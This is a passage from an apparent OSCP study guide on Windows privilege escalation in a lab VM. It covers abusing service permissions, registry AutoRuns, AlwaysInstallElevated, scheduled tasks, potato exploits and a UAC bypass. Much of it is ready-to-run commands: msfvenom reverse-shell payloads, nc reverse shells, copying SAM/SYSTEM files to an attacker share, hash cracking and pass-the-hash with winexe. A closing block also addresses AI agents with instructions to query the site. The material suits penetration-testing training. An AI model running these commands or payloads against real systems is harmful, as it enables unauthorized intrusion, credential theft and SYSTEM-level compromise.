" %}
4. Start a listener on Kali and run the exploit, providing it with the reverse shell executable, which should run with SYSTEM privileges:
> .\x64.exe C:\PrivEsc\reverse.exe
Service Exploits
Query the configuration of a service:
```
> sc.exe qc
```
Query the current status of a service:
```
> sc.exe query
```
Modify a configuration option of a service:
```
> sc.exe config =
```
Start/Stop a service:
```
> net start/stop
```
You could also need to reboot restart the machine to restart the service:
```
shutdown /r /t 0
```
### Insecure Service Permissions
Each service has an ACL which defines certain service-specific permissions:
1. Some permissions are innocuous (e.g. SERVICE\_QUERY\_CONFIG, SERVICE\_QUERY\_STATUS).
2. Some may be useful (e.g. SERVICE\_STOP, SERVICE\_START).
3. Some are dangerous (e.g. SERVICE\_CHANGE\_CONFIG, SERVICE\_ALL\_ACCESS)
{% hint style="info" %}
Be cautious of **potential rabbit holes** when attempting to escalate privileges. For instance, if you can modify the configuration of a service but are unable to start or stop it, it's possible that you may not be able to escalate privileges.
{% endhint %}
If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own.
1. Run winPEAS to check for service misconfigurations:
```
> .\winPEASany.exe quiet servicesinfo
```
2. Note that we can modify the “daclsvc” service.
3. We can confirm this with accesschk.exe:
```
> .\accesschk.exe /accepteula -uwcqv user daclsvc
```
4. Check the current configuration of the service:
```
> sc qc daclsvc
```
5. Check the current status of the service:
```
> sc query daclsvc
```
6. Reconfigure the service to use our reverse shell executable:
```
> sc config daclsvc binpath="\"C:\PrivEsc\reverse.exe\""
```
7. Start a listener on Kali, and then start the service to trigger the exploit:
```
> net start daclsvc
```
8. You could also need to reboot the machine to restart the service:
```
shutdown /r /t 0
```
### Unquoted Service Path
1. Run winPEAS to check for service misconfigurations:
```
> .\winPEASany.exe quiet servicesinfo
```
2. Note that the “unquotedsvc” service has an unquoted path that also contains spaces: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
3. Confirm this using sc:
```
> sc qc unquotedsvc
```
4. Use accesschk.exe to check for write permissions:
```
> .\accesschk.exe /accepteula -uwdq C:\
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
```
5. Copy the reverse shell executable and rename it appropriately:
```
> copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
```
6. Start a listener on Kali, and then start the service to trigger the exploit:
```
> net start unquotedsvc
```
7. You could also need to reboot the machine to restart the service:
```
shutdown /r /t 0
```
### Weak Registry Permissions
The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service’s configuration even if we cannot modify the service directly.
1. Run winPEAS to check for service misconfigurations:
```
> .\winPEASany.exe quiet servicesinfo
```
2. Note that the “regsvc” service has a weak registry entry. We can confirm this with PowerShell:
```
> powershell -exec bypass
```
```
PS> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
```
3. Alternatively accesschk.exe can be used to confirm:
```
> .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
```
4. Overwrite the ImagePath registry key to point to our reverse shell executable:
```
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
```
5. Start a listener on Kali, and then start the service to trigger the exploit:
```
> net start regsvc
```
6. You could also need to reboot the machine to restart the service:
```
shutdown /r /t 0
```
### Insecure Service Executables
1. Run winPEAS to check for service misconfigurations:
```
> .\winPEASany.exe quiet servicesinfo
```
2. Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME).
```
> sc qc filepermsvc
```
3. Note that the “filepermsvc” service has an executable which appears to be writable by everyone. We can confirm this with accesschk.exe:
```
> .\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
```
4. Let's check if we can start and stop the service:
```
> .\accesschk.exe /accepteula -uvqc filepermsvc
```
5. Create a backup of the original service executable:
```
> copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp
```
6. Copy the reverse shell executable to overwrite the service executable:
```
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
```
7. Start a listener on Kali, and then start the service to trigger the exploit:
```
> net start filepermsvc
```
8. You could also need to reboot the machine to restart the service:
```
shutdown /r /t 0
```
### DLL Hijacking
1. Use winPEAS to enumerate non-Windows services:
```
> .\winPEASany.exe quiet servicesinfo
```
2. Note that the C:\Temp directory is writable and in the PATH. Start by enumerating which of these services our user has stop and start access to:
```
> .\accesschk.exe /accepteula -uvqc user dllsvc
```
3. The “dllsvc” service is vulnerable to DLL Hijacking. According to the winPEAS output, the service runs the dllhijackservice.exe executable. We can confirm this manually:
```
> sc qc dllsvc
```
4. Run Procmon64.exe with administrator privileges. Press Ctrl+L to open the Filter menu.
5. Add a new filter on the Process Name matching dllhijackservice.exe.
6. On the main screen, deselect registry activity and network activity.
7. Start the service:
```
> net start dllsvc
```
8. Back in Procmon, note that a number of “NAME NOT FOUND” errors appear, associated with the hijackme.dll file.
9. At some point, Windows tries to find the file in the C:\Temp directory, which as we found earlier, is writable by our user.
10. On Kali, generate a reverse shell DLL named hijackme.dll:
```
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
```
11. Copy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:
```
> net stop dllsvc
> net start dllsvc
```
## Registry Exploits AutoRuns
Windows can be configured to run commands at startup, with elevated privileges. These “AutoRuns” are configured in the Registry. If you are able to write to an AutoRun executable, and are able to restart the system (or wait for it to be restarted) you may be able to escalate privileges.
1. Use winPEAS to check for writable AutoRun executables:
```
> .\winPEASany.exe quiet applicationsinfo
```
2. Alternatively, we could manually enumerate the AutoRun executables:
```
> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```
3. and then use accesschk.exe to verify the permissions on each one:
```
> .\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
```
4. The “C:\Program Files\Autorun Program\program.exe” AutoRun executable is writable by Everyone. Create a backup of the original:
```
> copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
```
5. Copy our reverse shell executable to overwrite the AutoRun executable:
```
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
```
6. Start a listener on Kali, and then restart the Windows VM to trigger the exploit. Note that on Windows 10, the exploit appears to run with the privileges of the last logged on user, so log out of the “user” account and log in as the “admin” account first.
### AlwaysInstallElevated
MSI files are package files used to install applications. These files run with the permissions of the user trying to install them. Windows allows for these installers to be run with elevated (i.e. admin) privileges. If this is the case, we can generate a malicious MSI file which contains a reverse shell.
The catch is that two Registry settings must be enabled for this to work.
The “**AlwaysInstallElevated**” value must be set to 1 for both
1. the **local machine**: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
2. and the **current user**: HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
If either of these are missing or disabled, the exploit will not work.
1. Use winPEAS to see if both registry values are set:
```
> .\winPEASany.exe quiet windowscreds
```
2. Alternatively, verify the values manually:
```
> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```
3. Create a new reverse shell with msfvenom, this time using the msi format, and save it with the .msi extension:
```
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
```
4. Copy the reverse.msi across to the Windows VM, start a listener on Kali, and run the installer to trigger the exploit:
```
> msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
```
## Passwords
The following commands will search the registry for keys and values that contain “password”:
```
> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s
```
This usually generates a lot of results, so often it is more fruitful to look in known locations.
1. Use winPEAS to check common password locations:
```
> .\winPEASany.exe quiet filesinfo userinfo
```
2. The results show both AutoLogon credentials and Putty session credentials for the admin user (admin/password123).
3. We can verify these manually:
```
> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
> reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
```
4. On Kali, we can use the winexe command to spawn a shell using these credentials:
```
# winexe -U 'admin%password123' //192.168.1.22 cmd.exe
```
5. We can also obtain a system shell using the admin user with winexe:
```
# winexe -U 'admin%password123' --system //192.168.1.22 cmd.exe
```
### Saved Credentials
Windows has a runas command which allows users to run commands with the privileges of other users. This usually requires the knowledge of the other user’s password. However, Windows also allows users to save their credentials to the system, and these saved credentials can be used to bypass this requirement.
1. Use winPEAS to check for saved credentials:
```
> .\winPEASany.exe quiet cmd windowscreds
```
2. It appears that saved credentials for the admin user exist.
3. We can verify this manually using the following command:
```
> cmdkey /list
```
4. If the saved credentials aren’t present, run the following script to refresh the credential:
```
> C:\PrivEsc\savecred.bat
```
5. We can use the saved credential to run any command as the admin user. Start a listener on Kali and run the reverse shell executable:
```
> runas /savecred /user:admin C:\PrivEsc\reverse.exe
```
### Searching for Configuration Files
Some administrators will leave configurations files on the system with passwords in them.
Recursively search for files in the current directory with “pass” in the name, or ending in “.config”:
```
> dir /s *pass* == *.config
```
Recursively search for files in the current directory that contain the word “password” and also end in either .xml, .ini, or .txt:
```
> findstr /si password *.xml *.ini *.txt
```
1. Use winPEAS to search for common files which may contain credentials:
```
> .\winPEASany.exe quiet cmd searchfast filesinfo
```
2. The Unattend.xml file was found. View the contents:
```
> type C:\Windows\Panther\Unattend.xml
```
3. Found the credentials inside the file we can simply use winexe to spawn a shell as the admin user, or system
### SAM/SYSTEM Files
Windows stores password hashes in the Security Account Manager (SAM). The hashes are encrypted with a key which can be found in a file named SYSTEM. If you have the ability to read the SAM and SYSTEM files, you can extract the hashes.
The SAM and SYSTEM files are located in the **C:\Windows\System32\config** directory. The files are locked while Windows is running. Backups of the files may exist in the following directories:
* C:\Windows\Repair
* C:\Windows\System32\config\RegBack
1. Backups of the SAM and SYSTEM files can be found in C:\Windows\Repair and are readable by our user.
2. Copy the files back to Kali:
```
> copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
> copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\
```
We can also extract a copy of the SAM and SYSTEM files using reg.exe:
```
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM
```
3. Starting with secretsdump.py (**recommended**), which is also part of the Impacket Suite of Tools, we can dump the NL and NTLM hashes using the following command:
```
# impacket-secretsdump -sam SAM -system SYSTEM LOCAL
```
We can alternatively use samdump2 (**not recommended**) to dump the hashes the same way, the command is simply:
```
# samdump2 SYSTEM SAM
```
4. Run the pwdump tool against the SAM and SYSTEM files to extract the hashes:
```
# python3 creddump7/pwdump.py SYSTEM SAM
```
5. Crack the admin user hash using hashcat:
```
# hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt
```
### Passing the Hash
We can use a modified version of winexe, pth-winexe to spawn a command prompt using the admin user’s hash.
1. Extract the admin hash from the SAM in the previous step.
2. Use the hash with pth-winexe to spawn a command prompt:
```
# pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
```
3. Use the hash with pth-winexe to spawn a SYSTEM level command prompt:
```
# pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
```
## Scheduled Tasks
List all scheduled tasks your user can see:
```
> schtasks /query /fo LIST /v
```
In PowerShell:
```
PS> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
Often we have to rely on other clues, such as finding a script or log file that indicates a scheduled task is being run.
1. In the C:\DevTools directory, there is a PowerShell script called “CleanUp.ps1”. View the script:
```
> type C:\DevTools\CleanUp.ps1
```
2. This script seems like it is running every minute as the SYSTEM user. We can check our privileges on this script using accesschk.exe:
```
> C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
```
It appears we have the ability to write to this file.
3. Backup the script:
```
> copy C:\DevTools\CleanUp.ps1 C:\Temp\
```
4. Start a listener on Kali.
5. Use echo to append a call to our reverse shell executable to the end of the script:
```
> echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
```
6. Wait for the scheduled task to run (it should run every minute) to complete the exploit.
## Insecure GUI Apps (Citrix Method)
In earlier versions of Windows, it was possible for users to be authorized to run certain GUI applications with administrative privileges. There are typically multiple ways to generate command prompts from within GUI applications, including using built-in Windows functionality. As the parent process runs with administrative privileges, any command prompts generated will also be executed with these privileges. This technique is often referred to as the "Citrix Method" because it uses many of the same methods employed to escape from Citrix environments.
1. Log into the Windows VM using the GUI with the “user” account.
2. Double click on the “AdminPaint” shortcut on the Desktop.
3. Open a command prompt and run:
```
> tasklist /V | findstr mspaint.exe
```
Note that mspaint.exe is running with admin privileges.
4. In Paint, click File, then Open.
5. In the navigation input, replace the contents with:
```
file://c:/windows/system32/cmd.exe
```
6. Press Enter. A command prompt should open running with admin privileges.
## Startup Apps
Each user can define apps that start when they log in, by placing shortcuts to them in a specific directory. Windows also has a startup directory for apps that should start for all users: **C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp** If we can create files in this directory, we can use our reverse shell executable and escalate privileges when an admin logs in.
Note that shortcut files (.lnk) must be used. The following VBScript can be used to create a shortcut file:
{% code title="CreateShortcut.vbs" %}
```visual-basic
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
```
{% endcode %}
1. Use accesschk.exe to check permissions on the StartUp directory:
```
> .\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
```
2. Note that the BUILTIN\Users group has write access to this directory.
3. Create a file CreateShortcut.vbs with the VBScript provided in a previous slide. Change file paths if necessary.
4. Run the script using cscript:
```
> cscript CreateShortcut.vbs
```
5. Start a listener on Kali, then log in as the admin user to trigger the exploit.
## Installed Applications
Most privilege escalations relating to installed applications are based on misconfigurations we have already covered. Still, some privilege escalations results from things like buffer overflows, so knowing how to identify installed applications and known vulnerabilities is still important.
Manually enumerate all running programs:
```
> tasklist /v
```
We can also use Seatbelt to search for nonstandard processes:
```
> .\seatbelt.exe NonstandardProcesses
```
winPEAS also has this ability (note the misspelling):
```
> .\winPEASany.exe quiet procesinfo
```
Once you find an interesting process, try to identify its version. You can try running the executable with /? or -h, as well as checking config or text files in the Program Files directory. Use Exploit-DB to search for a corresponding exploit. Some exploits contain instructions, while others are code that you will need to compile and run.
## Hot Potato
Hot Potato is the name of an attack that uses a spoofing attack along with an NTLM relay attack to gain SYSTEM privileges. The attack tricks Windows into authenticating as the SYSTEM user to a fake HTTP server using NTLM. The NTLM credentials then get relayed to SMB in order to gain command execution. This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts.
{% hint style="info" %}
These steps are for Windows 7
{% endhint %}
1. Copy the potato.exe exploit executable over to Windows.
2. Start a listener on Kali.
3. Run the exploit:
```
.\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
```
4. Wait for a Windows Defender update, or trigger one manually.
## Service Accounts (Rotten Potato / Juicy Potato)
### Rotten Potato
The original Rotten Potato exploit was identified in 2016. Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user. This was possible because service accounts usually have the “SeImpersonatePrivilege” privilege enabled.
### Juicy Potato
Juicy Potato works in the same way as Rotten Potato, but the authors did extensive research and found many more ways to exploit.
Juicy Potato is available here:
{% embed url="" %}
{% file src="/files/L7e1dUotCgoXtLZObhPe" %}
{% hint style="info" %}
These steps are for Windows 7
{% endhint %}
1. Copy PSExec64.exe and the JuicyPotato.exe exploit executable over to Windows.
2. Start a listener on Kali.
3. Using an administrator command prompt, use PSExec64.exe to trigger a reverse shell running as the Local Service service account:
```
> C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
```
4. Start another listener on Kali.
5. Now run the JuicyPotato exploit to trigger a reverse shell running with SYSTEM privileges:
```
> C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}
```
6. If the CLSID ({03ca...) doesn’t work for you, either check this list or run the **GetCLSID.ps1 PowerShell script**.:
{% embed url="" %}
### SeImpersonatePrivilege
Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user. This was possible because service accounts usually have the “SeImpersonatePrivilege” privilege enabled.
For most recent Windows builds we can user PrintSpoofer.exe instead JuicyPotato.exe.
#### Access Token Abuse
Abuse is possible if SeImpersonatePrivilege or SeAssignPrimaryPrivilege is enabled.
* Windows CLSIDs: JuicyPotato - All older versions of Windows
```powershell
# edit nc.bat with correct params and transfer to remote host
cmd> whoami /priv
cmd> JuicyPotato.exe -p C:\inetpub\wwwroot\nc.bat -l 443 -t * -c
# Exploit failed - incorrect CLSID
Testing {4991D34B-80A1-4291-B697-000000000000} 443
COM -> recv failed with error: 10038
# Exploit worked - correct CLSID
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 443
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
```
#### PrintSpoofer - Windows 10 and Server 2016/2019
**PrintSpoofer.exe** is available here:
{% embed url="" %}
* Leverages the Print Spooler service to get a SYSTEM token, then run a custom command
```
# spawn a SYSTEM command prompt
cmd> printspoofer.exe -i -c cmd
# get a SYSTEM reverse shell
cmd> printspoofer.exe -c "C:\temp\nc.exe [LHOST] [LPORT] -e cmd.exe"
```
## Port Forwarding
Sometimes it is easier to run exploit code on Kali, but the vulnerable program is listening on an internal port. In these cases we need to forward a port on Kali to the internal port on Windows. We can do this using a program called plink.exe (from the makers of PuTTY).
The general format of a port forwarding command using plink.exe:
```
> plink.exe @ -R ::
```
Note that the is usually local (e.g. 127.0.0.1). plink.exe requires you to SSH to Kali, and then uses the SSH tunnel to forward ports.
1. First, test that we can still login remotely via winexe:
```
# winexe -U 'admin%password123' //192.168.1.22 cmd.exe
```
2. Using an administrator command prompt, re-enable the firewall:
```
> netsh advfirewall set allprofiles state on
```
3. Confirm that the winexe command now fails.
4. Copy the plink.exe file across to Windows, and then kill the SMB Server on Kali (if you are using it).
5. Make sure that the SSH server on Kali is running and accepting root logins. Check that the “PermitRootLogin yes” option is uncommented in /etc/ssh/sshd\_config. Restart the SSH service if necessary.
6. On Windows, use plink.exe to forward port 445 on Kali to the Windows port 445:
```
> plink.exe root@192.168.1.11 -R 445:127.0.0.1:445
```
7. On Kali, modify the winexe command to point to localhost (or 127.0.0.1) instead, and execute it to get a shell via the port forward:
```
# winexe -U 'admin%password123' //localhost cmd.exe
```
## getsystem (Named Pipes & Token Duplication)
### Access Tokens
Access Tokens are special objects in Windows which store a user’s identity and privileges. Primary Access Token – Created when the user logs in, bound to the current user session. When a user starts a new process, their primary access token is copied and attached to the new process. Impersonation Access Token – Created when a process or thread needs to temporarily run with the security context of another user.
### Token Duplication
Windows allows processes/threads to duplicate their access tokens. An impersonation access token can be duplicated into a primary access token this way. If we can inject into a process, we can use this functionality to duplicate the access token of the process, and spawn a separate process with the same privileges.
### Named Pipes
You may be already familiar with the concept of a “pipe” in Windows & Linux:
```
> systeminfo | findstr Windows
```
A named pipe is an extension of this concept. A process can create a named pipe, and other processes can open the named pipe to read or write data from/to it. The process which created the named pipe can impersonate the security context of a process which connects to the named pipe.
### getsystem
The “getsystem” command in Metasploit’s Meterpreter shell has an almost mythical status. By running this simple command, our privileges are almost magically elevated to that of the SYSTEM user. What does it actually do?
The source code for the getsystem command can be found here:
{% embed url="" %}
Three files are worth looking through: elevate.c, namedpipe.c, and tokendup.c There are 3 techniques getsystem can use to “get system”.
getsystem was designed as a tool to escalate privileges from a local admin to SYSTEM. The Named Pipe techniques require local admin permissions. The Token Duplication technique only requires the SeDebugPrivilege privilege, but is also limited to x86 architectures. getsystem should not be thought of as a user -> admin privilege escalation method in modern systems.
#### Named Pipe Impersonation (In Memory/Admin)
Creates a named pipe controlled by Meterpreter. Creates a service (running as SYSTEM) which runs a command that interacts directly with the named pipe. Meterpreter then impersonates the connected process to get an impersonation access token (with the SYSTEM security context). The access token is then assigned to all subsequent Meterpreter threads, meaning they run with SYSTEM privileges.
#### Named Pipe Impersonation (Dropper/Admin)
Very similar to Named Pipe Impersonation (In Memory/Admin). Only difference is a DLL is written to disk, and a service created which runs the DLL as SYSTEM. The DLL connects to the named pipe.
#### Token Duplication (In Memory/Admin)
This technique requires the “SeDebugPrivilege”. It finds a service running as SYSTEM which it injects a DLL into. The DLL duplicates the access token of the service and assigns it to Meterpreter. Currently this only works on x86 architectures. This is the only technique that does not have to create a service, and operates entirely in memory.
## User Privileges
In Windows, user accounts and groups can be assigned specific “privileges”. These privileges grant access to certain abilities. Some of these abilities can be used to escalate our overall privileges to that of SYSTEM. Highly detailed paper:
{% embed url="" %}
The whoami command can be used to list our user’s privileges, using the /priv option:
`whoami /priv`
Note that “disabled” in the state column is irrelevant here. If the privilege is listed, your user has it.
### SeAssignPrimaryPrivilege
The SeAssignPrimaryPrivilege is similar to SeImpersonatePrivilege. It enables a user to assign an access token to a new process. Again, this can be exploited with the Juicy Potato exploit.
### SeBackupPrivilege
The SeBackupPrivilege grants read access to all objects on the system, regardless of their ACL. Using this privilege, a user could gain access to sensitive files, or extract hashes from the registry which could then be cracked or used in a pass-the-hash attack.
### SeRestorePrivilege
The SeRestorePrivilege grants write access to all objects on the system, regardless of their ACL. There are a multitude of ways to abuse this privilege:
* Modify service binaries.
* Overwrite DLLs used by SYSTEM processes
* Modify registry settings.
### SeTakeOwnershipPrivilege
The SeTakeOwnershipPrivilege lets the user take ownership over an object (the WRITE\_OWNER permission). Once you own an object, you can modify its ACL and grant yourself write access. The same methods used with SeRestorePrivilege then apply.
### Other Privileges (More Advanced)
* SeTcbPrivilege
* SeCreateTokenPrivilege
* SeLoadDriverPrivilege
* SeDebugPrivilege (used by getsystem)
## UAC BYPASS
{% embed url="" %}
### EventViewer-UACBypass
#### Usage
```
PS C:\Windows\Tasks> Import-Module .\Invoke-EventViewer.ps1
PS C:\Windows\Tasks> Invoke-EventViewer
[-] Usage: Invoke-EventViewer commandhere
Example: Invoke-EventViewer cmd.exe
PS C:\Windows\Tasks> Invoke-EventViewer cmd.exe
[+] Running
[1] Crafting Payload
[2] Writing Payload
[+] EventViewer Folder exists
[3] Finally, invoking eventvwr
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://oscp.nstsec.com/privilege-escalation/windows-privesc.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.